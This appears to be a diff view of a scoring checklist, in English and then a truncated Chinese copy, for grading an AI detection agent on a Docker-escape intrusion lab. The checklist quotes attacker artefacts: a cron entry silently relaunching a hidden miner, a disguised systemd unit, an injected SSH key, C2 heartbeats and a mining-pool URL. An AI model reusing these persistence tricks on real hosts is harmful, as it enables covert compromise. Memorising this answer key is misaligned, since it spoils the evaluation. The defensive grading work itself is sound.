|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-docker-escape Checklist
|
| 2 |
+
|
| 3 |
+
Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score.
|
| 4 |
+
|
| 5 |
+
- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge
|
| 6 |
+
- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge
|
| 7 |
+
- **detection-only**: Plan score marked N/A, not counted in the corresponding summary
|
| 8 |
+
|
| 9 |
+
## Dimension 1: Intrusion entity identification and remediation (4 items)
|
| 10 |
+
|
| 11 |
+
### CHK-01: Mining process detection `ENT-P01`
|
| 12 |
+
- **Evidence**: Process `/opt/.docker/.health-monitor` is running, disguised as a Docker container health-check tool
|
| 13 |
+
- **Detection score** (3 pts)
|
| 14 |
+
- Discovery: Identify the presence of the mining process
|
| 15 |
+
- Evidence: Point out the path `/opt/.docker/.health-monitor`, identify the disguised name (imitating Docker health check)
|
| 16 |
+
- Attribution: Associate the mining process with the attacker's profit-seeking behavior after intrusion
|
| 17 |
+
- **Plan score** (2 pts)
|
| 18 |
+
- Correctness: The plan provides the correct process termination command
|
| 19 |
+
- Completeness: The plan covers terminating the process + deleting the file + checking persistence mechanisms (crontab/systemd/bashrc)
|
| 20 |
+
|
| 21 |
+
### CHK-02: Mining file cleanup `ENT-F02`
|
| 22 |
+
- **Evidence**: File `/opt/.docker/.health-monitor` (script) + log `/opt/.docker/.health-monitor.log`
|
| 23 |
+
- **Detection score** (3 pts)
|
| 24 |
+
- Discovery: Identify the malicious file
|
| 25 |
+
- Evidence: Point out the file path, note the hidden directory `/opt/.docker/`
|
| 26 |
+
- Attribution: Associate it with mining behavior
|
| 27 |
+
- **Plan score** (2 pts)
|
| 28 |
+
- Correctness: The plan provides the `rm -rf /opt/.docker/` cleanup command
|
| 29 |
+
- Completeness: The plan recommends checking common hidden directories such as /tmp, /var/tmp
|
| 30 |
+
|
| 31 |
+
### CHK-03: Backdoor container detection and removal `ENT-F02`
|
| 32 |
+
- **Evidence**: Docker container `infra-monitor` is running, uses the `ubuntu:20.04` image, `--restart=always`, periodically sends heartbeats to C2
|
| 33 |
+
- **Detection score** (3 pts)
|
| 34 |
+
- Discovery: Identify the anomalous container `infra-monitor`
|
| 35 |
+
- Evidence: Point out that the container uses the ubuntu:20.04 image (unrelated to business), `--restart=always`, `--network host`
|
| 36 |
+
- Attribution: Identify it as a backdoor container, with behavior being C2 heartbeat (wget to the attacker IP)
|
| 37 |
+
- **Plan score** (2 pts)
|
| 38 |
+
- Correctness: The plan provides the `docker stop && docker rm` commands
|
| 39 |
+
- Completeness: The plan recommends auditing all containers, checking for non-standard images and abnormal restart policies
|
| 40 |
+
|
| 41 |
+
### CHK-04: Attacker SSH key `ENT-F04`
|
| 42 |
+
- **Evidence**: `/root/.ssh/authorized_keys` contains an unauthorized public key with the comment `deploy@ci-runner`
|
| 43 |
+
- **Detection score** (3 pts)
|
| 44 |
+
- Discovery: Discover the anomalous public key in authorized_keys
|
| 45 |
+
- Evidence: Point out that the public key comment is disguised as a CI/CD deployment key
|
| 46 |
+
- Attribution: Identify it as a persistence backdoor injected by the attacker via container escape
|
| 47 |
+
- **Plan score** (2 pts)
|
| 48 |
+
- Correctness: The plan precisely deletes the attacker's key line
|
| 49 |
+
- Completeness: The plan recommends auditing the authorized_keys of all users
|
| 50 |
+
|
| 51 |
+
## Dimension 2: Baseline risk (7 items)
|
| 52 |
+
|
| 53 |
+
### CHK-05: Docker TCP-API unauthenticated exposure `BAS-05`
|
| 54 |
+
- **Evidence**: Docker daemon listens on `tcp://0.0.0.0:2375`, with no TLS authentication; anyone who can access this port is equivalent to host root
|
| 55 |
+
- **Detection score** (3 pts)
|
| 56 |
+
- Discovery: Identify the high-risk exposure of the Docker TCP API
|
| 57 |
+
- Evidence: Cite the port 2375 listening state and the no-authentication configuration
|
| 58 |
+
- Attribution: Correctly characterize it as the root-cause entry point of this intrusion
|
| 59 |
+
- **Plan score** (2 pts)
|
| 60 |
+
- Correctness: The plan recommends closing the TCP listener or enabling TLS mutual authentication
|
| 61 |
+
- Completeness: The plan distinguishes two repair options: closing TCP (most secure) vs enabling TLS (retaining remote management capability), and assesses business impact
|
| 62 |
+
|
| 63 |
+
### CHK-06: Docker daemon systemd override `BAS-05`
|
| 64 |
+
- **Evidence**: `/etc/systemd/system/docker.service.d/override.conf` adds the `-H tcp://0.0.0.0:2375` parameter
|
| 65 |
+
- **Detection score** (3 pts)
|
| 66 |
+
- Discovery: Locate the configuration source of the Docker TCP exposure
|
| 67 |
+
- Evidence: Cite the contents of the override.conf file
|
| 68 |
+
- Attribution: Identify it as a misconfiguration by operations staff (not planted by the attacker)
|
| 69 |
+
- **Plan score** (2 pts)
|
| 70 |
+
- Correctness: The plan provides the steps of deleting the override + daemon-reload + restart
|
| 71 |
+
- Completeness: The plan includes verifying that Docker listens only on the unix socket
|
| 72 |
+
|
| 73 |
+
### CHK-07: developer user docker-group privilege `BAS-04`
|
| 74 |
+
- **Evidence**: The `developer` user belongs to the `docker` group, equivalent to having root privileges (can operate the host via the Docker socket)
|
| 75 |
+
- **Detection score** (3 pts)
|
| 76 |
+
- Discovery: Identify the privilege risk of docker group members
|
| 77 |
+
- Evidence: `id developer` shows docker group membership
|
| 78 |
+
- Attribution: Point out that docker group privileges equal root, an over-privileged configuration
|
| 79 |
+
- **Plan score** (2 pts)
|
| 80 |
+
- Correctness: The plan recommends removing developer from the docker group
|
| 81 |
+
- Completeness: The plan assesses the impact on the developer workflow after removal, recommending the use of rootless Docker or sudo instead
|
| 82 |
+
|
| 83 |
+
### CHK-08: Container env-var database credentials `BAS-03`
|
| 84 |
+
- **Evidence**: `docker inspect company-postgres` reveals plaintext `POSTGRES_PASSWORD=AppDb@2024`
|
| 85 |
+
- **Detection score** (3 pts)
|
| 86 |
+
- Discovery: Identify that container environment variables expose the database password
|
| 87 |
+
- Evidence: Plaintext credentials can be directly obtained via `docker inspect`
|
| 88 |
+
- Attribution: The attacker can use this information to access the business database
|
| 89 |
+
- **Plan score** (2 pts)
|
| 90 |
+
- Correctness: The plan recommends using Docker secrets or a .env file (restricted permissions) instead of environment variables
|
| 91 |
+
- Completeness: The plan covers password rotation + the new password storage method
|
| 92 |
+
|
| 93 |
+
### CHK-09: SSH authorized_keys management `BAS-01`
|
| 94 |
+
- **Evidence**: `/root/.ssh/authorized_keys` contains public keys not authorized by an administrator
|
| 95 |
+
- **Detection score** (3 pts)
|
| 96 |
+
- Discovery: Audit authorized_keys and discover unauthorized keys
|
| 97 |
+
- Evidence: List each public key and its comment
|
| 98 |
+
- Attribution: Identify which are legitimate keys and which are injected by the attacker
|
| 99 |
+
- **Plan score** (2 pts)
|
| 100 |
+
- Correctness: The plan precisely identifies and removes unauthorized keys
|
| 101 |
+
- Completeness: The plan recommends establishing an SSH key management standard
|
| 102 |
+
|
| 103 |
+
### CHK-10: Business container security audit `BAS-05`
|
| 104 |
+
- **Evidence**: All containers should be reviewed for risky configurations such as privileged mode, unnecessary capabilities, and host networking
|
| 105 |
+
- **Detection score** (3 pts)
|
| 106 |
+
- Discovery: Perform a security audit of running containers
|
| 107 |
+
- Evidence: List the security configuration of each container (privileged, capabilities, network mode)
|
| 108 |
+
- Attribution: Point out how insecure configurations can be exploited by the attacker
|
| 109 |
+
- **Plan score** (2 pts)
|
| 110 |
+
- Correctness: The plan recommends configuring containers with the least-privilege principle
|
| 111 |
+
- Completeness: The plan covers privileged removal, capabilities restriction, user namespace
|
| 112 |
+
|
| 113 |
+
### CHK-11: Docker-API port security-group/firewall `BAS-07`
|
| 114 |
+
- **Evidence**: Port 2375 is reachable from the public network (the attacker accesses the Docker API directly from outside)
|
| 115 |
+
- **Detection score** (3 pts)
|
| 116 |
+
- Discovery: Identify the risk of port 2375 being exposed to the public network
|
| 117 |
+
- Evidence: Infer from the successful connection to the Docker API from the attacker IP
|
| 118 |
+
- Attribution: Associate the port exposure with the starting point of the entire attack chain
|
| 119 |
+
- **Plan score** (2 pts)
|
| 120 |
+
- Correctness: The plan recommends blocking port 2375 at the security-group/firewall level
|
| 121 |
+
- Completeness: The plan provides specific security-group rules or iptables rules
|
| 122 |
+
|
| 123 |
+
## Dimension 3: Persistence removal (5 items)
|
| 124 |
+
|
| 125 |
+
### CHK-12: Crontab persistence `PER-S01`
|
| 126 |
+
- **Evidence**: `crontab -l` shows `*/10 * * * * /opt/.docker/.health-monitor >/dev/null 2>&1`
|
| 127 |
+
- **Detection score** (3 pts)
|
| 128 |
+
- Discovery: Identify the suspicious crontab entry
|
| 129 |
+
- Evidence: Cite the specific content, point out the 10-minute interval and silent output
|
| 130 |
+
- Attribution: Associate the crontab with mining process persistence
|
| 131 |
+
- **Plan score** (2 pts)
|
| 132 |
+
- Correctness: The plan provides the correct method to delete the malicious crontab entry
|
| 133 |
+
- Completeness: The plan recommends checking all users' crontabs and /etc/cron.d/
|
| 134 |
+
|
| 135 |
+
### CHK-13: Bashrc persistence `PER-I01`
|
| 136 |
+
- **Evidence**: `/root/.bashrc` contains a `# docker container environment initialization` code block that silently restarts mining
|
| 137 |
+
- **Detection score** (3 pts)
|
| 138 |
+
- Discovery: Identify the malicious code appended in bashrc
|
| 139 |
+
- Evidence: Cite the comment disguise ("docker container environment initialization")
|
| 140 |
+
- Attribution: Identify it as a persistence means that automatically restarts mining on each root login
|
| 141 |
+
- **Plan score** (2 pts)
|
| 142 |
+
- Correctness: The plan precisely locates the range of the code block to be deleted
|
| 143 |
+
- Completeness: The plan recommends checking .bash_profile, .profile, /etc/profile.d/
|
| 144 |
+
|
| 145 |
+
### CHK-14: Systemd service persistence `PER-V01`
|
| 146 |
+
- **Evidence**: `/etc/systemd/system/docker-health-agent.service`, disguised as a Docker health-check agent, with ExecStart pointing to `/opt/.docker/.health-monitor`
|
| 147 |
+
- **Detection score** (3 pts)
|
| 148 |
+
- Discovery: Identify the suspicious systemd service
|
| 149 |
+
- Evidence: Point out the unit file path and that ExecStart points to the mining script
|
| 150 |
+
- Attribution: Identify it as a persistence mechanism at the systemd level
|
| 151 |
+
- **Plan score** (2 pts)
|
| 152 |
+
- Correctness: The plan provides `systemctl stop && disable` + deletion + `daemon-reload`
|
| 153 |
+
- Completeness: The plan includes verification steps after cleanup
|
| 154 |
+
|
| 155 |
+
### CHK-15: Systemd service masquerade ID `PER-V01` *detection-only*
|
| 156 |
+
- **Evidence**: The service name `docker-health-agent` and description `Docker Container Health Agent` deliberately imitate legitimate Docker operations tools
|
| 157 |
+
- **Detection score** (3 pts)
|
| 158 |
+
- Discovery: Point out the disguise technique of the service naming
|
| 159 |
+
- Evidence: Compare with legitimate Docker service naming, point out the deliberate imitation
|
| 160 |
+
- Attribution: Identify it as a means for the attacker to evade manual review
|
| 161 |
+
- **Plan score**: N/A
|
| 162 |
+
|
| 163 |
+
### CHK-16: Comprehensive persistence scan `Q-05` *detection-only*
|
| 164 |
+
- **Evidence**: No persistence other than crontab/bashrc/systemd/SSH key/backdoor container
|
| 165 |
+
- **Detection score** (3 pts)
|
| 166 |
+
- Discovery: Perform a systematic persistence scan (init.d, rc.local, at jobs, profile.d, Docker restart policy, etc.)
|
| 167 |
+
- Evidence: Record the scan scope and method
|
| 168 |
+
- Attribution: Prove the comprehensiveness of the investigation
|
| 169 |
+
- **Plan score**: N/A
|
| 170 |
+
|
| 171 |
+
## Dimension 4: Evaluation quality dimension (4 items)
|
| 172 |
+
|
| 173 |
+
### CHK-17: Container-escape path inference `Q-01` *detection-only*
|
| 174 |
+
- **Evidence**: The attack container configuration has no residue in the snapshot; container escape can be inferred based on the consequences of the host being compromised and the Docker API being publicly reachable
|
| 175 |
+
- **Detection score** (3 pts)
|
| 176 |
+
- Discovery: Infer the existence of container escape based on host consequences
|
| 177 |
+
- Evidence: Support the inference with observed host intrusion traces, and note the absence of direct evidence
|
| 178 |
+
- Attribution: Explain how the attacker obtained host root privileges via the container
|
| 179 |
+
- **Plan score**: N/A
|
| 180 |
+
|
| 181 |
+
### CHK-18: Entry-point determination `Q-01` `Q-04` *detection-only*
|
| 182 |
+
- **Evidence**: The `-H tcp://0.0.0.0:2375` in `/etc/systemd/system/docker.service.d/override.conf` indicates that the Docker Remote API is exposed on 2375 without authentication
|
| 183 |
+
- **Detection score** (3 pts)
|
| 184 |
+
- Discovery: Correctly determine the entry point as "Docker Remote API unauthorized access"
|
| 185 |
+
- Evidence: Cite the Docker daemon configuration
|
| 186 |
+
- Attribution: Rule out SSH brute force and web vulnerabilities, correctly characterize it as Docker API abuse
|
| 187 |
+
- **Plan score**: N/A
|
| 188 |
+
- **Critical**: The Agent should not fabricate a CVE or web vulnerability as the entry point
|
| 189 |
+
|
| 190 |
+
### CHK-19: Attack-timeline reconstruction `Q-02` *detection-only*
|
| 191 |
+
- **Evidence**: Docker events timestamps
|
| 192 |
+
- **Detection score** (3 pts)
|
| 193 |
+
- Discovery: Organize the attack timeline anchored on observable file times
|
| 194 |
+
- Evidence: List the daemon configuration time and host residue time, infer the complete time chain of Docker API probing → privileged container → SSH key injection → host login → mining → persistence → cleanup
|
| 195 |
+
- Attribution: Cross-correlate multiple timestamp sources, explain the sequence based on known time anchors
|
| 196 |
+
- **Plan score**: N/A
|
| 197 |
+
- **Critical**: A complete event chain is not required; fabricating timestamps should be penalized
|
| 198 |
+
|
| 199 |
+
## Dimension 5: Remediation closure (5 items)
|
| 200 |
+
|
| 201 |
+
### CHK-20: Docker daemon secure restart `Q-07`
|
| 202 |
+
- **Evidence**: After repairing the Docker configuration, the daemon should listen only on the unix socket
|
| 203 |
+
- **Detection score** (3 pts)
|
| 204 |
+
- Discovery: Recommend repairing the Docker daemon configuration
|
| 205 |
+
- Evidence: Provide the configuration change plan
|
| 206 |
+
- Attribution: Reflect root-cause repair awareness
|
| 207 |
+
- **Plan score** (2 pts)
|
| 208 |
+
- Correctness: The plan provides the process of deleting the override + daemon-reload + restart
|
| 209 |
+
- Completeness: The plan includes verifying that the Docker service runs normally and no longer listens on TCP
|
| 210 |
+
|
| 211 |
+
### CHK-21: Port 2375 closure confirmation `BAS-05`
|
| 212 |
+
- **Evidence**: After repair, port 2375 should not be reachable
|
| 213 |
+
- **Detection score** (3 pts)
|
| 214 |
+
- Discovery: Verify that the port is closed
|
| 215 |
+
- Evidence: Provide the port check command and result
|
| 216 |
+
- Attribution: Confirm that the root cause has been eliminated
|
| 217 |
+
- **Plan score** (2 pts)
|
| 218 |
+
- Correctness: The plan provides the `ss -tlnp` and `curl` verification commands
|
| 219 |
+
- Completeness: The plan verifies from both inside the host and externally
|
| 220 |
+
|
| 221 |
+
### CHK-22: Business container normal operation `Q-07`
|
| 222 |
+
- **Evidence**: The Nginx, WebApp, and PostgreSQL containers should run normally after repair
|
| 223 |
+
- **Detection score** (3 pts)
|
| 224 |
+
- Discovery: Recommend verifying that the repair operation did not affect the business
|
| 225 |
+
- Evidence: List the services that need to be verified
|
| 226 |
+
- Attribution: Reflect business-impact awareness
|
| 227 |
+
- **Plan score** (2 pts)
|
| 228 |
+
- Correctness: The plan lists the health-check commands for each container
|
| 229 |
+
- Completeness: The plan covers docker ps status + HTTP interface verification
|
| 230 |
+
|
| 231 |
+
### CHK-23: Attacker-IP firewall block `ENT-N01`
|
| 232 |
+
- **Evidence**: The attacker IP identified from Docker events / SSH logs
|
| 233 |
+
- **Detection score** (3 pts)
|
| 234 |
+
- Discovery: Recommend blocking the attacker IP
|
| 235 |
+
- Evidence: Cite the specific IP address
|
| 236 |
+
- Attribution: Associate with Docker API abuse
|
| 237 |
+
- **Plan score** (2 pts)
|
| 238 |
+
- Correctness: The plan provides the correct firewall rule
|
| 239 |
+
- Completeness: The plan includes rule persistence
|
| 240 |
+
|
| 241 |
+
### CHK-24: Mining outbound-connection block `ENT-N02`
|
| 242 |
+
- **Evidence**: The mining program once connected to `stratum+tcp://pool.evil-example.invalid:3333`
|
| 243 |
+
- **Detection score** (3 pts)
|
| 244 |
+
- Discovery: Recommend blocking the mining pool outbound connection
|
| 245 |
+
- Evidence: Cite the mining pool address
|
| 246 |
+
- Attribution: Identify it as mining traffic
|
| 247 |
+
- **Plan score** (2 pts)
|
| 248 |
+
- Correctness: The plan provides the outbound blocking rule
|
| 249 |
+
- Completeness: The plan includes blocking of IP + port and rule persistence
|
ranges/docker-escape/checklist.md
ADDED
|
@@ -0,0 +1,249 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-docker-escape 检查清单
|
| 2 |
+
|
| 3 |
+
评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。
|
| 4 |
+
|
| 5 |
+
- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge
|
| 6 |
+
- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge
|
| 7 |
+
- **仅检测项**:方案分标记 N/A,不参与对应汇总
|
| 8 |
+
|
| 9 |
+
## 维度 1:入侵实体识别与处置(4 项)
|
| 10 |
+
|
| 11 |
+
### CHK-01:挖矿进程检测 `ENT-P01`
|
| 12 |
+
- **证据**:进程 `/opt/.docker/.health-monitor` 正在运行,伪装为 Docker 容器健康检查工具
|
| 13 |
+
- **检测分**(3 分)
|
| 14 |
+
- 发现:识别到挖矿进程存在
|
| 15 |
+
- 证据:指出路径 `/opt/.docker/.health-monitor`,识别伪装名称(模仿 Docker 健康检查)
|
| 16 |
+
- 归因:将挖矿进程与攻击者入侵后的牟利行为关联
|
| 17 |
+
- **方案分**(2 分)
|
| 18 |
+
- 正确性:方案给出正确的进程终止命令
|
| 19 |
+
- 完整性:方案涵盖终止进程 + 删除文件 + 检查守护机制(crontab/systemd/bashrc)
|
| 20 |
+
|
| 21 |
+
### CHK-02:挖矿文件清理 `ENT-F02`
|
| 22 |
+
- **证据**:文件 `/opt/.docker/.health-monitor`(脚本)+ 日志 `/opt/.docker/.health-monitor.log`
|
| 23 |
+
- **检测分**(3 分)
|
| 24 |
+
- 发现:识别到恶意文件
|
| 25 |
+
- 证据:指出文件路径,注意隐藏目录 `/opt/.docker/`
|
| 26 |
+
- 归因:将其与挖矿行为关联
|
| 27 |
+
- **方案分**(2 分)
|
| 28 |
+
- 正确性:方案给出 `rm -rf /opt/.docker/` 的清理命令
|
| 29 |
+
- 完整性:方案建议检查 /tmp、/var/tmp 等常见隐藏目录
|
| 30 |
+
|
| 31 |
+
### CHK-03:后门容器检测与清除 `ENT-F02`
|
| 32 |
+
- **证据**:Docker 容器 `infra-monitor` 运行中,使用 `ubuntu:20.04` 镜像,`--restart=always`,定期向 C2 发送心跳
|
| 33 |
+
- **检测分**(3 分)
|
| 34 |
+
- 发现:识别到异常容器 `infra-monitor`
|
| 35 |
+
- 证据:指出容器使用 ubuntu:20.04 镜像(与业务无关)、`--restart=always`、`--network host`
|
| 36 |
+
- 归因:识别为后门容器,行为为 C2 心跳(wget 到攻击者 IP)
|
| 37 |
+
- **方案分**(2 分)
|
| 38 |
+
- 正确性:方案给出 `docker stop && docker rm` 命令
|
| 39 |
+
- 完整性:方案建议审计所有容器,检查非标准镜像和异常 restart policy
|
| 40 |
+
|
| 41 |
+
### CHK-04:攻击者 SSH 密钥 `ENT-F04`
|
| 42 |
+
- **证据**:`/root/.ssh/authorized_keys` 中包含注释为 `deploy@ci-runner` 的非授权公钥
|
| 43 |
+
- **检测分**(3 分)
|
| 44 |
+
- 发现:发现 authorized_keys 中的异常公钥
|
| 45 |
+
- 证据:指出公钥注释伪装为 CI/CD 部署密钥
|
| 46 |
+
- 归因:识别为攻击者通过容器逃逸注入的持久化后门
|
| 47 |
+
- **方案分**(2 分)
|
| 48 |
+
- 正确性:方案精确删除攻击者密钥行
|
| 49 |
+
- 完整性:方案建议审计所有用户的 authorized_keys
|
| 50 |
+
|
| 51 |
+
## 维度 2:基线风险(7 项)
|
| 52 |
+
|
| 53 |
+
### CHK-05:Docker TCP API 未授权暴露 `BAS-05`
|
| 54 |
+
- **证据**:Docker daemon 监听 `tcp://0.0.0.0:2375`,无 TLS 认证,任何能访问该端口的人等同于宿主机 root
|
| 55 |
+
- **检测分**(3 分)
|
| 56 |
+
- 发现:识别 Docker TCP API 暴露的高危风险
|
| 57 |
+
- 证据:引用端口 2375 监听状态和无认证配置
|
| 58 |
+
- 归因:将其正确定性为本次入侵的根因入口
|
| 59 |
+
- **方案分**(2 分)
|
| 60 |
+
- 正确性:方案建议关闭 TCP 监听或启用 TLS 双向认证
|
| 61 |
+
- 完整性:方案区分两种修复方案:关闭 TCP(最安全)vs 启用 TLS(保留远程管理能力),评估业务影响
|
| 62 |
+
|
| 63 |
+
### CHK-06:Docker daemon systemd override `BAS-05`
|
| 64 |
+
- **证据**:`/etc/systemd/system/docker.service.d/override.conf` 添加了 `-H tcp://0.0.0.0:2375` 参数
|
| 65 |
+
- **检测分**(3 分)
|
| 66 |
+
- 发现:定位到 Docker TCP 暴露的配置来源
|
| 67 |
+
- 证据:引用 override.conf 文件内容
|
| 68 |
+
- 归因:识别为运维人员的错误配置(非攻击者植入)
|
| 69 |
+
- **方案分**(2 分)
|
| 70 |
+
- 正确性:方案给出删除 override + daemon-reload + restart 的步骤
|
| 71 |
+
- 完整性:方案包含验证 Docker 仅监听 unix socket
|
| 72 |
+
|
| 73 |
+
### CHK-07:developer 用户 docker 组权限 `BAS-04`
|
| 74 |
+
- **证据**:`developer` 用户属于 `docker` 组,等同于拥有 root 权限(可通过 Docker socket 操作宿主机)
|
| 75 |
+
- **检测分**(3 分)
|
| 76 |
+
- 发现:识别 docker 组成员的权限风险
|
| 77 |
+
- 证据:`id developer` 显示 docker 组成员
|
| 78 |
+
- 归因:指出 docker 组权限等同 root,是权限过大的配置
|
| 79 |
+
- **方案分**(2 分)
|
| 80 |
+
- 正确性:方案建议将 developer 移出 docker 组
|
| 81 |
+
- 完整性:方案评估移除后对开发者工作流的影响,建议使用 rootless Docker 或 sudo 代替
|
| 82 |
+
|
| 83 |
+
### CHK-08:容器环境变量中的数据库凭证 `BAS-03`
|
| 84 |
+
- **证据**:`docker inspect company-postgres` 可见明文 `POSTGRES_PASSWORD=AppDb@2024`
|
| 85 |
+
- **检测分**(3 分)
|
| 86 |
+
- 发现:识别到容器环境变量暴露数据库密码
|
| 87 |
+
- 证据:通过 `docker inspect` 可直接获取明文凭证
|
| 88 |
+
- 归因:攻击者利用此信息可访问业务数据库
|
| 89 |
+
- **方案分**(2 分)
|
| 90 |
+
- 正确性:方案建议使用 Docker secrets ��� .env 文件(受限权限)替代环境变量
|
| 91 |
+
- 完整性:方案涵盖密码轮换 + 新密码存储方式
|
| 92 |
+
|
| 93 |
+
### CHK-09:SSH authorized_keys 管理 `BAS-01`
|
| 94 |
+
- **证据**:`/root/.ssh/authorized_keys` 包含非管理员授权的公钥
|
| 95 |
+
- **检测分**(3 分)
|
| 96 |
+
- 发现:审计 authorized_keys 发现非授权密钥
|
| 97 |
+
- 证据:列出每个公钥及其注释
|
| 98 |
+
- 归因:识别哪些是合法密钥、哪些是攻击者注入的
|
| 99 |
+
- **方案分**(2 分)
|
| 100 |
+
- 正确性:方案精确标识并移除非授权密钥
|
| 101 |
+
- 完整性:方案建议建立 SSH 密钥管理规范
|
| 102 |
+
|
| 103 |
+
### CHK-10:业务容器安全审计 `BAS-05`
|
| 104 |
+
- **证据**:应审查所有容器是否存在 privileged 模式、不必要的能力(capabilities)、host 网络等风险配置
|
| 105 |
+
- **检测分**(3 分)
|
| 106 |
+
- 发现:对运行容器进行安全审计
|
| 107 |
+
- 证据:列出每个容器的安全配置(privileged、capabilities、网络模式)
|
| 108 |
+
- 归因:指出不安全配置如何被攻击者利用
|
| 109 |
+
- **方案分**(2 分)
|
| 110 |
+
- 正确性:方案建议以最小权限原则配置容器
|
| 111 |
+
- 完整性:方案覆盖 privileged 移除、capabilities 限制、user namespace
|
| 112 |
+
|
| 113 |
+
### CHK-11:Docker API 端口安全组/防火墙 `BAS-07`
|
| 114 |
+
- **证据**:2375 端口从公网可达(攻击者从外部直接访问 Docker API)
|
| 115 |
+
- **检测分**(3 分)
|
| 116 |
+
- 发现:识别 2375 端口对公网暴露的风险
|
| 117 |
+
- 证据:从攻击者 IP 能成功连接 Docker API 推断
|
| 118 |
+
- 归因:将端口暴露与整条攻击链的起点关联
|
| 119 |
+
- **方案分**(2 分)
|
| 120 |
+
- 正确性:方案建议在安全组/防火墙层面封禁 2375 端口
|
| 121 |
+
